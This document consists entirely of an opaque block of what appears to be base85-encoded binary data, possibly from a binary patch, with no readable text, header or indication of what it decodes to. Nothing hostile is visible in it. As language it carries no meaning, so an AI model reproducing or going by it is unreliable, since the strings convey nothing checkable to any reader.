zq<2Xn%{uy*MAH>Co#_XBkFg}>YeaE>w0frEW=(!^;-m(M+8q8Ukuw%BGeoO7}<5GefUF-p$@A{5}^+E^N8Ei|`&Q&Z`CnriU|xzA^LjOFH4eI+1;o{>|hKvFR*RrL{w;~8Tban!BGBWT9$+7FsFD2kBu z@{66rp5j!TcWElIhlahyu(L)qaI%|#?1f$Pu#swfWbjt1n47HHOwzg{S}W7=hy<-?EYoDFDizE+!(a&Gg? z@B@O8jcuhNa|`L(Ah&frb~5I6u3L%V;(MMkbuF=p9G3(e?lyhK-nd5xNi_V z)xV&o1=9ee_SbEbYL3!U5m`_WGCtdpgvyPR!cKM3^f@haa8Z5Gcp zt}#0i+9y12Vz7L1>BRLnR2xfGiA#x1CO<3Wu5r7=-F&_t9!k!m9HZI#aSjXexQo9H zSWm0q-@RuksB7`5rji(Ds&Ma0=Cqr5lgU_3fuKg*-N1e3d8t=Dm_elC0>eA;Qk_k%{U@48q~6F{PRqSu5joY=5faEt|Lp?;ph6 zrz4UYXEE*@*@p&^q7=|iJTn?to>;@)cp3rbkj64Hb9?Px;@_2 z1W;8}e7wzmR~whVpS2So9Xqo$2e@zrS;Iq&;}A(aG}SZGQ;g4%j5!!QPX(9h+Im+L zZ2=e)Yw~Xa!|Q&2UAmun!ZkuU9Iv7oJ$wPvDrkJjZBg>Xx3&q zM}P^ZMGQ|Q5ce$x%F>y!xR@ez%q{MWx3RL6ZhX#c0N5SFPSeFXOC0sMDT~7xNER7u zyzeKptnj1Ufa#iA%lk@ovq~CU2;DRDbSq!BSR8mwRPthy8hXbOmX*x0%Wfy4#Ys|K zaKUET5%7Dvi(GDbedMQA40IE^F>pryJjJ&Zr$j&nCJ8&Ne?cLz4nH@&Z ze_HamcQkqncz3G$Y+?*4#9?&Ie7pqGHspB(a*SUeagwfSWnkC7`!o*#bVkZJ;+4&X zu6u#gOO(Y;RGGw4=6r`h#%g`RD(l-axnUw&whG6rCroFnkJA>(ZP%3Kgq(s$|s zn1kw$9@PC-*H)N)9}jn;#54?tx;>jNQqKQBOk@tllur!ppYyxWAD|m6(1K z&^N89pPO1QVxl^66`Ry&9WV1L4HZm;;j}TG`V;d#%DOB*rnTku4k4$BB}>mmhPKUU zmQl%BVOu%0ds&#_loPg*jV^q-4py`cN@}AD!*FRpmZa892Y3O`qKhfWZZ-_RGrmLg zTZWcKv!sckqw~My)1Q)uyv1>TDO2KDjIg#TD&(35+R?e)-8?ubm9$m3e9nrol0_qK3uL~Y^wf1OX|uxhi7H)$ zusGXw^&Ow?xd|XMw3U8%w#q{bwv+1zcdv#P-k zhEr`c<;V0cR~KlzMA~ynh*r&AOk0q$q1pSFxfebu$m=kQ{LW@v7ywwK$4M@Ixri@H|_=#^boIm5g>lE)|++rh^)w12byy`2&k|(&PUCz6%3a zveH2ZrM2vQImj(@@=1RsZL^r8u*!zIrnaNv;y{?wytj`HIj*;}n?11mMGa4-Z4_~r zM&`sPhQ~SKeq+rU_$irrZh5t*%nOV5Br1-`qMePa#}l1m4g&bjWLq0?U?-ne!**-W zvC+!;nH9@`xiQb(w~_HuBaN+?MA;2A+~b?o_7&;vnCw(l)KW{dR1soW6s|2Z(@F_w zj3mq{%gwM>euR@tSXG#;lisykYWo_r0K#@D{=wZ8+}uj*o_ zpqm6Ti83y}g2PeBj_q_@?+m5bJ)*#2!tr{Fy_v@v%NnORKAwJ;SZq_X{8s?Qrh$JaKm1g(4z zZ>-a2HO=Tj<>0p22y>)~Ucif>7DMa?=FLVL{dA#}`VZ}9E4E}I;~DXD9vH43Nq*$RD90_S}8(8{yBgts;9G0$+Ybf!jF_SydW;zVow5qyxhST&f zkT~4x0Jz4jGzGZfb7#XGe-RI5=)Lw{iI{QyjGJ40Cco*zgFP$2Uhb zi}1QYHuZ{d$oDqSCF~q8$s+d${7J^h9im1;-C4n3V4F){gT00so?>gRVkf#)L~y!B zmqtObxoJA0V}TaX6}o41PsGz?)DuZe@hmQ}_qT z+mg{#P}0RIkJ4CPMf0}y9tyIiCqZXV8EYOsO~Zqco6$bXFjO|7q0yUyFMAxfXK)k^ z-y@D$^*KWa<0jrtOQf(U-3_~>A9KtZTXSn_D^HA+$cIrAO zm<6uXa>mdEl;-iCM~Fn-04+BNRBp4-p37uY&2hIBd5=<%)6FS#LFU?_fDkSxL#l3S zSm%Y}GnP(G>XdwRNR$_`!K5|T?z@6Qt=OX>`KUZJ3%fv(gyXeXP?nNMywb?h*GGOH zDlYAges(w!ehGB6(O0$bJ^Q-R>Ri}As3k^>x*2jmM>N>oauGSewWQsS9NWGnFEmbZR8|oPjyQiF`&g7cfO^jB!AH0_ZQ&SrxIP)9UOA)Aoqcfvx zTIn@+a@wr?+G*p-ZMKICiij}BBL-Kwh9>K4b1N5Ca=z|7)fILgk1ZEXvt^1%TKMmV z`_#M`#wy19H!Qh&+%EeYL#d(%QIg-Ga4a5U6-fbs`G6Yo)M~r^IK4b3_Ok+GVCO7@ zko8|ifB57cil`nf^ecelP87RATGq5OGc&Xt6LL2x9EsIP+Q^Hsn$pp7C2{sB(7n}k zt#!bBLdV1|ZkhI#>^x7YTwO@DRMGHri19Z`H%Vg)-INQs@Cd-Tz3htaW5e1kT69n4 zbepehq&_momYoPTDFscdZt;zr5%QdE$f$PEYjUY$o<<1v2hmwbyB4ajm5Fay#VNKYpFv^6xYRUx!F=rPfat& zNr(}^k?5z@3?iaT@Y7FD0M)z9*FI_L%8VXY(TZF;NSPF2vwW_yJFkMK-?5o)2{!K~ z%IJf};m&gi;^A#mE~lpt!AwYkiPPa!@zK7PvD0s1ysc|UEPpVm=k!v3Mn{((8G;Gu8r*=soYjpq zaLG>BvBVGW9P&2I9QPxFPezrp8;f+}qrI+~&U=l^&B^MY4G$r%aB1q2!w9&ZQqT>% zqUch(FznIW8x27_$R9oFk4LcLk8*9H3Q3xPI>uRu>y#zu!)^F_kE#>|ur*i;VY$Qk zf`aHT#la-g4rfI<(&2z7P0VTly0GKFDj9l3i zfD>;N^zWn(Z=*UwEv{sUUrc5Oq0Vf7nl(Z)u-`-;j@?U-9K2G5OlxmrpQ;&s>QI*t zan@PD{zyvChTrh@A5JkP(cY30VT(WrnV4}jt2?p>I!N$r#$R6JV1-39R&?RSTF-4ln&j}*FLd70*ksmf+&nT>6{E|VEb(b%;7h1AN8 zYTz1h6=mJDBo~9C)SebYKzA{LaYT7~YFnvQg6D&iL~fiL%87{T>(a zmHfSfipgQ;&su(bOOcM!#mZy1q^)~NH{{XmMWg(1{ zox?FFL{YHICTDuSD%zSjX@>f!5(fs3YDAgj#6`YAPDh%#u@D+OfLFL3E*FGSNr`O? zev;=jih5A%T>T=lH8by}d)nNsF3=8M301X@s+G@i$~ZKA5Soe?OfBb>C49|}Edk$q_vqOM^j&L-&j#niprbv!u_neI_!{RCx<_?@Zcz;Nb_FuC{Qc?GD$ zFsfWGkK-J4W^=*xdTs^ZoO~5c3~i%(YARcwF0ElYCb0}cYWJCDd3Vtqfanm~*0RpG z-xKl*5I^0d#^wWImH75@Nv*7PL#*EHVCVv$fng4)sE&CWH!OABU+RJ4pkefGsBw}~ zL~YdFORvP_d~Kwoym1W(Zkd)ft$67q_(z}V#WfE{i>Ij<8;2jD`wL68TW1|j7{V|( zn-xBr`Gb4Xo`a)Semp6Zl%A7QAQQ`^Q4L+@QxxommN9>nsyc(os$5S2uaaGM} zSIHLrH^pE#4a4vK)A)q0$2G5O0lA~*cnk9-Y4&I0y_E& zcBg9Vc80!Min7r6XhQ{n9EXysuB?a#3T*lQdx_MPC@EkB%ZNxo8i>HYZv`hh){U8c z?^!I)aQAw08Zx=RsrqHOU0ZC9#!IxdB1*~GL54-%o~B&@Z##7>OSIc-hG4Wa;2obt zY3LjSYHJ<=mZXk4@(Ue_&NJYG|HYI+9Q$jgSDl z$x27QZB9#76*APgV$f&?Kn_Finj-6)1T-Ec7}G}aOJiC!e+01rWD?=1;DOUSmzm%d zq!skoQ$wku6IBf}$*6CTRd1NPM(6@VS)0`Mm5n_S4&In#<^y;~TaOOT9jV%?nX6}X z)lxb~yO~mG;HPYjlMrzcH(ZV4y{#lg89Ke(yiy`~jjt|fe+>~AOH%6%8_;kHB1b*g zouA*3>{ES1r;`-N5gA)f?f`Zzh7q+GcE~ly2BU_*5hB8>cIFYDtqVVh;#ii_;u2L? zO8T0Kj->s`m}y~%UUwIMXiv{ynaph*BAfx2yTqfp#zBfhVfjbjnNG_qrER1kt=!iA z>&%j^aNIiy!ljO*Xe2cyrv8f&)c6z0UE|%SVtB;>!Z3<>aBLpgeHxLr&ObQuD;*6R zq&ezek-W(_Dp#h`Q9KGL%+d}Ie*k)^kXVEi`(SXn+XN!-_`2{-**{4(y zHYGbS`djy;mqTv=x6t;fglv8o+8v0(qMpAX5@Jz`)p>Zf9ShLVWQM8w7T@;&x}~JkK>R7{)OTq{ODL#p)!itd-Y$ z-gPLcW22;alM!)|ymxFmpEV8j1;)`gExCjl0e5;se*^&_X~9k8 zGE7C9!Jq@BxB#lC$ZLZssrRxSH40&+hM!zcs4(#m!gD*y{F8CH(i^x8BX)!D#a=`N zz&Y&&qj2i5cAfrZX|P%LYi8zbmCQA=vcy9byWR!dm8Lz~-CiL`>^}^O943L_wA0YC z?|3|%^K-#rsBlSfdavAYIh5q-yna#UNmunQ*=?GmEUBpY&k!~u8ewKI-%wr69q)U< zBw=9gA5-A0%&vTRoEsctO>No+SM60aSZuXL&#I|z8A^DDo5)9++F^TtvbzIL8M6C7 z4kwHJ>g+&o2zTbUhrM%VR8?YzS4Q7Qgq<@TY>kxg!z*$FQ90z%%_!%#M%pI#oB4i$ zRY^ISfI`~~{7%fD@V7zSJIcG-9jn@1zN|GnL0cy6qbpbdYg*gzXdDKmN1_-e3PklS zHPryzG}_+O+_+s>jjqHh8$%HqGWT)zB~oCmu8>28K{ZUI{t%8xtd3Ynvu^HxA@xm1 z1dzBEM|bWo%=a@pcYw6GuWOk8BZmB0h3>Fg6CUl+QAd=#9!1<%I-3iYL%fl~AmeiP zo0YI;&S6+2LS3Z9;*LRM=#-;*BeeQl0;8%7#Hz@`;*y$^fZo33`0AqQi8qkl+z09U zA~uoFedaiy!%z0|Qn32G7Xy`(8c&UC8>kb04*o%2V%t}>8*LGzGDU{rS+3ezc*Jpw zev|K1^t2RIJ^9b1OgJ^8PkOhcq^y;KqEO0OA;&YrGY<}B9J1hDx_%bx-gkGEWzj@3 zc*IBGjA#C5eO#&P_TGF}BOWUhQb=ui9NkYHDw*UAqb+;BiEs!$ z3hX>yx{_$)y|cN51MT3UGZc}e864)geBq+#8#~&jDTZNEVO0^);@EV8+p4&8mL9D- zSfH8OGmW-Axp|{P`a;gN*#09n_-pF2P_~}10M~}Qqm8v!Q}%DPOu|MnPleA{h8Bkz z;9-%Cx#nAY9|P1WRT6BTFH2Vw?w8xLm%`*}nHPs#(=>X&Pin8lSxu>Z;vSIhv)I zB*I#3EF4JH!!E;XWjhElOgL@tCp$-?Y^RZq{+8idDS2^#c zF(1Z8IrxRus=gPP#yJ%nbx}h@EKIc5W_ad4Ex!dth3$6AW3_mU`$-K%E~&AF^et{k z-F-=EJP$={vH_-}=w*$f-<01|z~|2*yG@rZB)cHfOc*t`9V!@ZnO~L^>i}BRZKF=5f5vvz^dFq)fLrKR8|*BERHUFoGfmk9Yg2py3QQ_^6^#j zR99ELGC~~CH9r;arkRUxz4t8Sl=|EogiIzeYZYoJyY~Z@p(XJ~MSw}k2nR7_i>b_R z%vh?&v65&-ij6HPZlGK%86e1XunDZ$MUJ6Ip$^GF#>f0#DyYU#YuyUWfM&rA)g1e}sWVh1C!BkI1 zVJA!Kr$JwP2cK$?;vO}#no-Owkm9m+-4#}2BB&h$Tx@hG<71(CC4ubdRgBbN+_4=M zMA&4aQ5z+UjIIxD+DAk|O&QfA?(Gj4vK(!HB?f3AmhYvLE8E46Hn)Josr712fm zo0>3aDoj$A8#_>@z)Q&76PxJYRa^-kN@OvzR^AyhOgS9^ME7Qs)zud!3!N0vK4%70 zH+3s`NC$Wy5ToM_tEVBgPi(Qt-)o~cZT|H+n3E-BG`PGWp@iCIHqvX<^HFhTKO-8+ z89YN)J-kTq3bM7OmLqqMcv_PanbQV?y7%h=e69vW8+R3091B3YCwsyn9f2VG5(9|1 z;uF-;bpi}B;ua}+h$!<84haWcLQZ>|6ybfsU^>Zf1|fF$nxs=}!~3r*PxnjPVIAAn@XODRth5T0JI;^wSb|kh|>%qKA_&t)r53hYPj3NzN^>K3{$* zcCt{_HXMu_@mI`vvf5c7n>j|Q1(7%&7UG{K`XeSM#Q3MXZac2%m8dwHMpDwt%jMruZkqJTGE3S@Atet7eI-7o_49PCjf+L;PSW1UfHEMbnh@%0W z;p53SQ09W$>(xnynYCZM+Vg8>1aK<4mbMxi$4w!yw`UGET-AI+LR#f(hwTW%<0Ep? zb6sd?cJ`ha+~?tOO+H;6AtZa1b{nx+Rb(O6yH!O)Cpe^zLgDUeetnX`=;L!4wpete zYBIwi{{Z$?WnS5)l2=GZywAySGc#p9<+3%z-}1;j!&F>HY6c?bxzupNTy)*&vlYiU zy|nOGl3@6Kj!mMXl%60%AU|TOo)$H^TRUd)XdoYYUQMLRrkL0*;<`2iUynNYfQlIM}!^L{YdJ8gf4tKE-|P>%o>z!Ro$- z{{ZpUQB+)hUz*~ZNf`L%y{&f%2?b}MmC;H?v|4<8(|l=(HR0LI$%(^&JqpfZ6z->R z;BL_Cj(1$Mjv3rX6Y98~rZCpX;knNBDalKBK#d+9!>C6i!=esh@9=Qz;*wt1(ze6p zLD$JkbD*oGqly*?>H#f~o&<6!!ty~k;F2U^bFMNM`{t|LGn;mC2&9lUKw54H*G>fr zhB^v@$7_|=(FvS4jC%#a0Fa_&aNoTwU2&RjR~A2!1Ybg$klYjCq}Rz4=g&&Q$lTH0 zJdZUT>eF$hv`ana#kabN9b(XKnQX_GMC>rScQ!F*=WqbH*bAhz443AT=NmK*sjw_8 z<9wA=xSTLv$=cdEXlfl#I0f;W64P*eZmvEirWEnWF-mOZw=5vscyLwixTG<;QA33}f+I%)SVQDpx#$Ci4+z%ZR zTOkn`tP5Ok!8Md9x{c>B>vt`CwOP^N9ySL3+mve9MLh3~uWW&)*_*(qg86|0`l}Mg z^aP~KDQkCa4a!Kqh)<(n7@qGf{wSs?7}0#sf+}iPRLsbOgG;%T#bgE<9Khi0q>RIX zPlvh(hsJE-!6X3jcWOzwLwp#WhjJzvOypmyZ#4ig_@xM3eNa!aPsqSHaZa*V#6C&I zqrphf$6;rADY=r{AUuCXQs`Vbf|B@4NaC%`j&<`A;CQ7;JLC<`mn%hp0SwSG!>okn z&G|=<=&73tB%^dCzSSxH>EDx4%KZ{t*9}}p6uYTn0Dw-sKUJ8o7&g^69VE~7B9X?| z(WK~FrCh9A3isn4Ml`;Z&oj&ByqKE;SP&Txa zb~l$;{S|dS8Br*6+Y9nWF5+5joStS&Ye5?=%mrmO(BgA9B(;wtL0|^9_9~ZZNm2K9 zw43Rs5W6$r<$g$uyANZ=-V5Olh6DN zerV~e+J;X4KgmvErP0O<4UVA^x1#?5vXzJH5c5tyDM0?= zTB!iHKgxX+I&u4{*7`*~1x$4H4}7pPVUV;mn*dKV-8i*Nhlxzed+xsru6{rbFb9cA z7KtMbKYAwI?6u8=T1=EjxkYIs|5hi9dOu`?9m9 zWNwob-vHb-Jcn-`!sRnn6g1T`LlmLV#%v_y?xj;pYMI@+&AYytxThz1mH8Q}pGiu} zRtL^5c!A=VcU{>F1*2)+Lq&!B2k5MZ&&P-0jl?VFWKzArLr?RZK9O14s)Hl7QZWko zDqVRV=UYGt;H%?_)5&9_dZNhoWEd(bnnAUOId-u6k@fpj5*dEfWFjc!b>8hoaMZJs~l$j``+Knyn{!5hqm8!r*f2 zC_T`&AjS^9r2K&OCsa%(N8ZQvm2%u3N(xBpE3&hCeoi8L$Hb;E*0PKDO+#}&-zLM? zsZ7*YNm(nOGs~Ph@CtDNTW1fyy~`pIM;R{{anqMG$B;; znbeds31W{-?Ho^nWYTVF+UL9FWIe_WPqjvcf-g`9%ufqw6~zwjou+3D^#f4n9U1qj z*uB;w+_-+clW+l1A#oPJfb8Ob-CI#?nTHKESe&9MbhtVs3nRbM5;H z`6s83_jJtbX^8IQ%KZ0kzN%&og4E*`8DIgRp7gRCF@waXaoDJ6D5rWcRE4nqj)!EqSa6CRry{VtjoaTc~M$>s;;^zF( zZm5phyAC_r50}IPY$tnrv40?PSu8^ks>NzwQ(rskCV9J_^Kw(}5Jqm%i1AKN>KZT` z5XSC1ug{NQ%ZVw8r_S;t85ziQM@>mBORWgu#m7Jsc4)UWvn%qJu$Hr+N?ge9AyT&q zIHd3&c_%91ike)I$|lpi;55I2k7qr>trsNl>W!=~Kby>+0X*7<(~sQ3@&oI+7VWyr zHSR7wQTL}6VlWodQ97p*ALq4vAn3jgmuctG&Tk(czD& z0!iN5YHRnN^UJ^}&2u5WyYg}+Hu+?h+sBt%mmr0qxd`p(VmElj$Z6hwo+?FasiT?9 z!`$b@1-FkDE=|+ZO;;d}1{b*aBr+`8xlUu>9+2ID@wXD9ZuebB_>aW=hXL~aRQ6$% zbW~G(VLoc70lSJm^^fNj028BQ7VsR>+Yut~AOp5_z6}0b5~vCoNHqY*L~uHi+tFmD=0DaZ&M;g<Z{G>k?sS5B|8*Uw2y154*uHZ2FUn9&4UQy?SA_cWzgFVJ1~vzc4zeN1wDmec&^h_ zZgBV?DdtX$Xz@G((beph4YSyE&c|_fO^T6dXz0k0H2!2H%|c}mEQecW6`436ULfbRPEBHqa?f*M$y=N&S! zq>{DxZ)Mo6L^0Ow4D|RF1FY@kT!F7GJsImCU`K=2ww2I~4Up2z=W9Hj=jqSEPR41e zWtN&uOBs>UHP?KPae49$Z&XXg5j@p(+0Q?zC2GDlQtnzVTg;~M{@F36ivdg-`>>HVl{tBY545O%ZBL&@&gfXM7_$&Va@pXdi-5ciGJbIQ) zK(LtT=-ei7b+pXk-5&d>CmY6U>Dy0PiF{W?I70)nli^^I9ZnU8w=@tscb+m$sk(8r z@k&IJoQL9er?6-f%%hFZ=_h_7H^_Y$E^XUoRU1V_?24K>CN6b^aWt0|(eU2PG5F}B ztHmV4c25qKw=&jLHM17=$a~)4u`q3fxO{}*tQ4=-?}>oCo}j4m$BS(Yo7`HqOq_F1 zAt`xfW;;{$y9K<@=!nNy+L+^aAz(Z81H3DZqi)P$7?UB{%E|VD?O@)|GjcJ{<{Qr5 zY1|_U+Rd#dJPwLldRC6}nB0+p;`5+Yv`oV==QXr&zY?q+8{Gw5)neHFRXb^_>qZ+y z1;j0rD6#4X6`gz*$K28C@6|ILQ(z!T{#I%JXXHQBtj@q-+dW4t+f9$t$%qyb%1S2* z-J6zYdZXWUl66dXA{|d48*-#Z>@u0f&feF`4as(l{{WgqnA>unMTQzv%PVe57{L>4 zNFAA<9X!)5Y*9sqN3?PsW8y5|GOe(zBNwh?q@;?TiZRAonHt0F%%x*AJ3ohEf%TZ| zxXv=;tQ74#mJWr+*FINS#^M!Iv5tM*LG|W!$GJHR@VYlXTtY)xP<0VR-2x@r`v#j2 z?`h$ukwq?Ki~=`Vqw{3n0bqM9ds1eg!D}Kfrl@=}o)NfQd(~ZL4O2@dSY&MN146@n z6-#B3Bi%mbWk-z7Oz>LmY`p=-Ia_zO$B|xTEo>DH>%l>~*E9z`chNf2hWlkh#&J574_5<1G#cgFUb{Dm9;TWMV{mY4WBR1dz^szoEI)*kO zji%$U+%5Z?pASm|!;j^?oVimf2+`u|OciCHfsxU^+?{2)+Fr=Ehi9pqS?IKwl>uRR zsGz9dvnVzsk;7Gho{`P&h)gaAP*hm=oZ0J_im#L2p&-iZqmmcJ*u^?nj@=j)aGWmYBH-P)t5AMjPDxv?mkJTS50w<-?!_p zn$|OHacOA{EcJ%6oVz|*fOfuTRbN#V4RoeSDa{*;ZFsc=syv0g<~ScD{5XuzxCa3v zd{LWK6^w5HjwhAF6@iW^s2bEfp5hOH@N1)=zFvAFXGqu*&=;?s;-#XrsILlSHrY6l?#hwd2b_sFmhdPlW4H<4qQSr z6Z!#g6&5pzQPnxkqG-!w-r%wn^;JZMl1b=Fu@M)yum3t1%#fehyppeGyLy;{p1%I;em`zm#q0F`HP5cP?h0fcZt{bx8``B3Or&VH87D-QvL?(WNGlibt zXi%nxSdR?BM|_*t7f9mgb1pini7Fjp(URayl{C&RX|Otjzvc7cWjd<}rJg2Dg;fW* z=;)p-;8j*v#B$2g(iN>apABv1qY_0h1PNJUM}b8hbPScEzM0Oaak*=_+rh~zwXOu@ ze3502o?_BRM(z0!wm4)Y0?)3yppq+?`sh0P;(V;S&pNxBRq78`{FK+BGe;EP{>hGO^ox}*h;8h1)w zM**O?>J^-_;gxX6>7sQFNIlZQc-(qhl4`RH#Bh3eDjd*hYFnB&wB~Dt?3-;{LCZeR zqF!4-;0Xr&2)}``?ogY2xqz^}lZ_d*2E|Q|N_jBhJ7Sgz8tkqGnWBG@z<7eOh^1;96H_Ne%cJvB8n6%@^wHbJCQHpC9Ca#pIKN$}@y zytwzGh+}MS=ty%%1EzYnOM`#WLv%uZ10%T(sk(|MQ_9Gtk)XMt+;9o%8mL(zZFCQs z7jSUV%{@U=<(iq#6xATl06p1lX&LvWO+fy|*6m6PQ8Po^C~4u(b@+CRjw+H?ZY_5; z{zp)d8Jrh0Uk+-*u9gU9EqO15`m$Qj_JlC@Qc1juQ07k1T@=yy3+g$jGP+CI#X>eb zI7atppO@ZSm3)nS4Fox-owOm(^Rkmy1QhbJ zXfw+}E~8yqIgc>2-<(B>QXOWO1KK`)iMm;7%uc1mnP^^a*?{jb_;m`tT60f3Soa4u z{m1elT2-<*8@r9hYB@EH#0_nyH2Gmc=u#9j?a>bV__qhBh{#gfYVLzT85KYbI`~OiyVb z?oYC2%4{?~DJG$yknIRZ3{k$&R2|fWUMG*8&=l6;(#|4wl9Oimo`}M}KyzAi+y&Eh z4iC}1kf)M(8tEXEwD2uyu_^iEb06sQ!eFV7M*=KQm`2F6NY}7rb95jrwu()t;@H3@ z*RkZPswZqt#^RyNB$AT%cbrb7>Pkp2%he#^&&}P8TK5eKux!ec zlUwGMZFMz9eI{y`E6Z<_LY$_Uwb>nec&jJT$N{rRZS8J~8|im$&CGIJG!;uvSt87F@;4J%H zrv56zhNaY!iP@pa-HXwEn%WX<=>=N>F&v*^dvHD}ouRC^@%`INvuT$c4U2u;rHobrzO3$kI%gv&Yz&al1xeZTg{oZGI^(9qSD=u~_4C zbSVxabRBZhtVQ#EYdKR48eoF;EL%u1yw{d%M~z(H1Rq&8Gx`J7vNEi32EXDjg`GL z{V>sL3Wq*NM(bs3cmAj%DA5$*Pvnzi#K*kfH6wzLGfr?v0Ch>vn{0tKfEVI~ngntB zqUfg34N=AFga>~T%NzVclr=|m2Luto$r%fzlf@|L6J)5ksJleOUxhwNQWKiqDKUN& z`6G~gp}$pK{g-;K)+Tm@{{VQ|7kjEz^hBQu!pM!$5!D(a!9n^cn<&*fvC6lt_^V0V znm1b96?R*$ez}A^6TB+t{ADgfXe0Kd(rZx9G^xJ>AGHc5=BSKZ0$c^jNuT34xoS;2 zm5iUiUu}OWR53DZzux8j=fd? z07%Y)Z1s214AsEM9Opb+UhXQsO(`_w)aD)uh!8oHb1*iLjO-^b(gjYB43>h5j(Mbq zEmI5Q4Ujm2;s*rOk~5|m{sOY5qALN2X3__3l`TK-w|SKwV|Ta?WjP$7l@ED3T&9Ty z&VMdSg~W6Kb1HF;qf$xA(8i5a>1jm;C=%&WC5UbK1l2nONtNRE;1S0Z_4B>JI#*bi z5HFzSk^pz6nQLitxi=Jg=69NPt#r}@Z8-#@!r~)ls`n4VB=mPw?%ZOGfL(3{5Hz^t zo`Rk7k{T~7@M*_XZ#tf5hatH$ z8y!(7JQxVMPR}bM%-FbfR=CY=6clh!VNuz!i_0+r?|+{~n=UfQ0PAEnv=fLQlB|$1 zuDczI;BL3CuJq)YrEnG|{DPkx9*WD=FtyF#!YoyW6zXgyPfo0iPb6dHqi_Uf>Q#0r ziO-79HDyb)Nh#LDPav$rTbTzxl4QilW5(xo&g*XCPoVKkNmA(~x!|3lrF717o-E7U zlBaCG%vS9cLxn75ut%)ZxOXCNR~|~kXeuZvPsNxkgzSe&YJV8+cJNw^hge^adPGkd zehgi0ZLg0G`(JP>o~pUOfq-{HjKX9+PhN=PfXype6HDIXU>m6=YsSn&fnlzw+6e>| zayR5C$+M5=JD^zN@@=_o)5jZtk=7?pC%9+j+CrnGrF)H|ZQN3E2_a(}6izZte)${+ zf;q7_HX{u$b1<{r%=mdL9iQ2k*Rj==WJO02yWZnrZ)zjtZ96VXZS`@}!*?5VIu1jf z_xLDSMh8=gx$llMx{O{)530f9pRdFrrDN!D%Q>7MHMM`2K(4Xvv5lB{!8U3p!9#0L zHM{el6VYcVaLKD!Ur8L2xM<=>bbC=4_Y9evk0e;8k-b<=@4y?|zdqcDYE~aj6R#z7 zo2UT0t?N8^CD%sx%I3pP`dAIJFpXR~tNJQjCudk^#oo%={G)LN?#3Rj^60B^ZKa9>zy@$%)3@R_Sf`cAdbL4q7TY8eG+~=csV* zLmAW_q^h{#mZaJk+~7F@!C&E9DJ@G|TZ~9(XbIL?2YKEN9Lk@LWAxNi?!vZqlhEkL z;U<;8Eh*!2c@G6;(PKEDkl;T3Q^qDZVv@`QaLk_G9rolFMbU0aYsY)1MAMyqKIG&~ zlA=(^nqKD>E772$bG;|!ryLs7pz}~Ul2t2p*km@&+7kG%%}04~*5Xx|ODtaA;yizJsd zp0DXrrjnx&oVnShmB-B)qKcYZSH9$b2E%`OQgmQ^IxQFl$%t9MnEm=)Lu)0Oj&oW_ z99?Y!4ULiaq|~W$Vlw(Ur-S6+C)H@w`IQvYyE8Y(b{(zHMI0k?Qcj7dsBs>DwI0N~iLy+SeRbKg= z*=pyI-OnRLHvn`uJieu5q6V`OekXFs4$^Jqmo*T}93#7`TrH}cI$COZBxHKI;io9` zD%K1u2*Ksev{etPm4{kb4?cvc64f6JCmSpWcTUjR(xiH?tGa^;sRy$21kal7r5}^Nm?j&E%63Pk5@xR#|+M4cY5Ak zRg*TS0@;SOn=yt(Syly|S6IOzzvhF%Y{c+?cx~I6@C$zK=H*cE%Wfv_@E5mzmOSD0 zo5I=RbOdn{3lygaDF&|IJx{Hv#`dzhN}8D;B$8_R9iXye3Oqj#oBoh-t9S?G;ye$U z+i^y2!C}PwmNuBXtifg<#O#NM`>2g=RdGA0oMUesqd*hzF|>mB0qT1(+UL{BNrths zwDM@-8+CB;DkCuVvB1|()&s7FtZsE<-;(7T}?L&%=C2cy4|t;qzE1VDvkNwUH2gXK@IhJ7sVWbLyNB20 z9NN0ZPERr4H}c@Fu>G#Vc7C0Q48rNEE7(uV&cP}Ar@B4LZh$Zl_W{cH@);`^Q5c(P zrE5UlaD0YGz^WI?iPEv4Q@an1!s5}`k<=2Q)W{$-ssqSiO z2xqFyDWjHbqUR$?04Cfdgm;+OkLMj$*JoL^+fsfi*!(!tMLTjiw6NPS{O1i+Y-_W+ z?U%)7q1rb$(&4uCq4%-#LTn}G(dW$N`rE;3Dk&v!Y&Ry?x$28?0NvK-V6pF+^9woh zO>Hf}D+*jTzG!!lQpngrv3QS9deBovhf@}|I84vKF>(49t+>7^Ux!IZ&qkob*xbfB zo+D`>aShVtI?bPa-s|=Q>-wu`_B(HiSuq{EUf~;k|qiOqAep+_r zE*-~x1AD2o`$1by+>VvyoGp8)Y_FrOBhp2W1Ic&23{E{s4fqx1ucW4N#ZN1*!T3*b zBE!j1M`kz|=E^!LRMiaLoYI)t#1akv07ANpXO1O1VZv=Q-@&&Dij9-Ssap5Thg7wU zHgkk7AbUVVk~tzhY?Nf#^*DM^90w7n`>P5Ks;i@Eh6?!wI2H_kXE)rZ$+a|9&p#Sc zHRmmaj0+jLb4dlZa&x@Xl<`xFN5_@bg)Yz!`QucmVfZ^s3kyfr{1hL5I-ZzeY znB8<8QYWILful6-oYd%w)Q}0t?-VYF7EL!leTkUj%D~^XGGGoF zm~YT4948*cuot#mCc1h_THsDc5FKtBD>^RE_Kvd&elLY#lh_G(+H6CGh)@ucNDjh&9VP_E)l^6cY+=9~0k0ICdt))(mZ;q0SZ!4c!LTyM zKt4x;Da9Y|WN19H2fE9k_v)9zBCLtBH*p{WI~>~-n*1t!It}Ak+J+HvEN0=VoZ?Sw ztQ_HPrAdnrtAZy)Byfq|vquFUNZTQ~7I%uRnkL5Uw3~1vMNcIK8_pLHNjme%X~)m=OVjd&+6w^62=NFHth9IUEh+C3A@ZcsZV@KcAi z_XqFqC4W3HwVA2r?+yi^+@!x~@c|L1sGQWpdxG(=y;8-Aw}YgXz)`>q$mId%7up6|3MwRG``ow$%r&LO~A1Y)?cOg>3i z#=aQ?fYW)g+(FLVvk4RK+cBFDE`rA4gx<%^P5qEdQ2~P!jkRD7Ifo}t`TS#Dn- zm0)%7SSb#8N~>(L#7+ZXbsM}iR`KIaY$7_CMC@SsDO=rt0Pv{kaiPQhY) z!jti2Ar$<{qH>626;Od-AEViRhnl5*JDl9vU2miX!c@`J!5n6xrO=Vwb?!atu1Cn%3*?*=OyDn` zAD_#&$y|J48{x}2-^Ia?0@5?@N9lCVqA*m#BrOMXJX$%u0qPYIb8Z|iFTke;c))X- z;5j9ybB*9I;fE}wak0SC8px~r*T@k+N!rd76jBg)-Dz<@k}-C zXx8K=A!8*Mc+ZkukCzBD3@#emOZj=`rq)!tqOeuM*x)1!v7@^0XNqEZ9VJ%&1~Q)F z#f{aaMSS2LE|O|RwMTq(H*y z8y`sf=84*XI*%0;)V9_kB-BRhHcOWHB;|^nHtjiu4wIu7Y18lTat@TnAGtZHo^O|; 